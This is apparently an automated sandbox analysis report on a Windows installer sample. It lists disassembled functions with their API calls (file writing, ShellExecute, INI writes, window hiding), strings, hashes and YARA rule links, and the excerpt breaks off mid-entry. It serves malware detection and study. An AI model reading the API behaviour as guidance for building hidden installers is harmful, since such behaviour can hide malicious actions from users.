Opcode ID: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction ID: 606d2f288e59f9406d2e88b5b0598c54d729d8d595f649ff0f3e4a994beab86c
Opcode Fuzzy Hash: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction Fuzzy Hash: 82115E72900109AFCF00EFA1DD45DAE7BB8EF04344F10403AFA09F61A1D7799A40DB19

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction ID: 5d007b3c2ae3d1ce6b2586a1921c4ad46276280cee2e515d5d1d957ff8a092fa
Opcode Fuzzy Hash: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction Fuzzy Hash: 76016171500205FBDB14AF70DE48D9E3B78EF05359F10443AF646B91E1D6798982DB68

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775
<RM>, xrefs: 00402713
%SenateRoof%, xrefs: 00402770

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: %SenateRoof%$<RM>$WriteINIStr: wrote [%s] %s=%s in %s
API String ID: 247603264-2402012953
Opcode ID: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction ID: 1675f45263e21dacb3bd3d3c28f4c469aa899418fcec56767b4290250f933745
Opcode Fuzzy Hash: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction Fuzzy Hash: 05014F70D40319BADB10BFA18D859AF7A78AF09304F10403FF11A761E3D7B80A408BAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004CB0B0,?), ref: 00402202

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226
ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction ID: bbc106df3db47d5a89d2587a4e22f40687ed87c50c6518a2742e337a88eb4af1
Opcode Fuzzy Hash: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction Fuzzy Hash: E001F7B2B4021476DB2077B69C87F6B2A5CDB41764B20047BF502F20E3E5BD88009139

Function 00405E7F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405E9D
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004037FE,004D30C0,004D70C8), ref: 00405EB8

Strings

nsa, xrefs: 00405E8C

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction ID: bbb7b3741c82bae03d84fc31e008e00914f4f4b6280f54d22115683b6c602e07
Opcode Fuzzy Hash: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction Fuzzy Hash: 39F0F635600604BBDB00CF55DD05A9FBBBDEF90310F00803BE944E7140E6B09E00C798

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction ID: bfe0de145d0e58e27592ef60cc9cda220d4f3e6bacb950e19a0f62fa040dbd34
Opcode Fuzzy Hash: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction Fuzzy Hash: F1E09232A05111DBCB08FBB5A74A5AE76B4EA9532A721007FE143F20D0DABD8D01C62D

Function 004078C5 Relevance: 5.2, APIs: 4, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction ID: 5b61ba0e549d4a34e11b5feda41afe9ae6537485a044c30e59ebd23bda5797f4
Opcode Fuzzy Hash: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction Fuzzy Hash: BCA14771908248DBEF18CF28C8946AD3BB1FB44359F14812AFC56AB280D738E985DF85

Function 00407AC3 Relevance: 5.2, APIs: 4, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction ID: 0868455ade8710e2db62ea7c97591ecaf8a07f5330254cde648c5a00cf1b77b0
Opcode Fuzzy Hash: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction Fuzzy Hash: 30912871908248DBEF14CF18C8947A93BB1FF44359F14812AFC5AAB291D738E985DF89

Function 00407312 Relevance: 5.2, APIs: 4, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction ID: 3981f1dd08afc316d24d9ed5113be2a17ca7da729ed8f25fba603efd3ef4d826
Opcode Fuzzy Hash: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction Fuzzy Hash: 39815931908248DBEF14CF29C8446AE3BB1FF44355F10812AFC66AB291D778E985DF86

Function 00407752 Relevance: 5.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction ID: 01891581271c5a124b16634c3a8992e7a6857e255b4271240234ec945a90a24d
Opcode Fuzzy Hash: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction Fuzzy Hash: 73713571908248DBEF18CF28C894AAD3BF1FB44355F14812AFC56AB291D738E985DF85

Function 00407854 Relevance: 5.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction ID: 94e3b44a92ae0aa4503ed5f8848dd13d39bc4d5c5e61625994f203468061122b
Opcode Fuzzy Hash: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction Fuzzy Hash: 25713671908248DBEF18CF19C894BA93BF1FB44345F10812AFC56AA291C738E985DF86

Function 004077B2 Relevance: 5.2, APIs: 4, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction ID: 61f7b93237898aea062553d5d4b8719da8ac7eccb5076a10c91df3859b53dd49
Opcode Fuzzy Hash: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction Fuzzy Hash: 98612771908248DBEF18CF19C894BAD3BF1FB44345F14812AFC56AA291C738E985DF86

Function 00407C5F Relevance: 5.2, APIs: 4, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 004073C5
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 004073CE
GlobalFree.KERNELBASE(?), ref: 0040743D
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 00407448

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: Global$AllocFree
String ID:
API String ID: 3394109436-0
Opcode ID: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction ID: da36524f31269fd1e9de8fc6705d7123eeae9c681c0d19372ba3dadca10d6d3f
Opcode Fuzzy Hash: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction Fuzzy Hash: 81513871918248EBEF18CF19C894AAD3BF1FF44345F10812AFC56AA291C738E985DF85

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction ID: d71d45502f518029c3ce7990b7c8d381ac94a1bb539c673c2af025244294d997
Opcode Fuzzy Hash: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction Fuzzy Hash: 96F0F471A10220DFD7555B74DD04B273699AB80361F24463BF911F62F1E6B8DC528B4E

Function 00405E50 Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction ID: fe2e31f24f36ecb58ba6038de6e4569557e5a61990f2f31681ab57118d472e11
Opcode Fuzzy Hash: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction Fuzzy Hash: BCD09E71554202EFEF098F60DE1AF6EBBA2FB94B00F11852CB292550F0DAB25819DB15

Function 00405E30 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406E81,?,?,?), ref: 00405E34
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E47

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction ID: a99f375bd2b1051765f890e1d94d2f722c1bb1ba0a12d38356d8610c0186b9c0
Opcode Fuzzy Hash: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction Fuzzy Hash: 84C01272404800EAC6000B34DF0881A7B62AB90330B268B39B0BAE00F0CB3488A99A18

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033CE,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
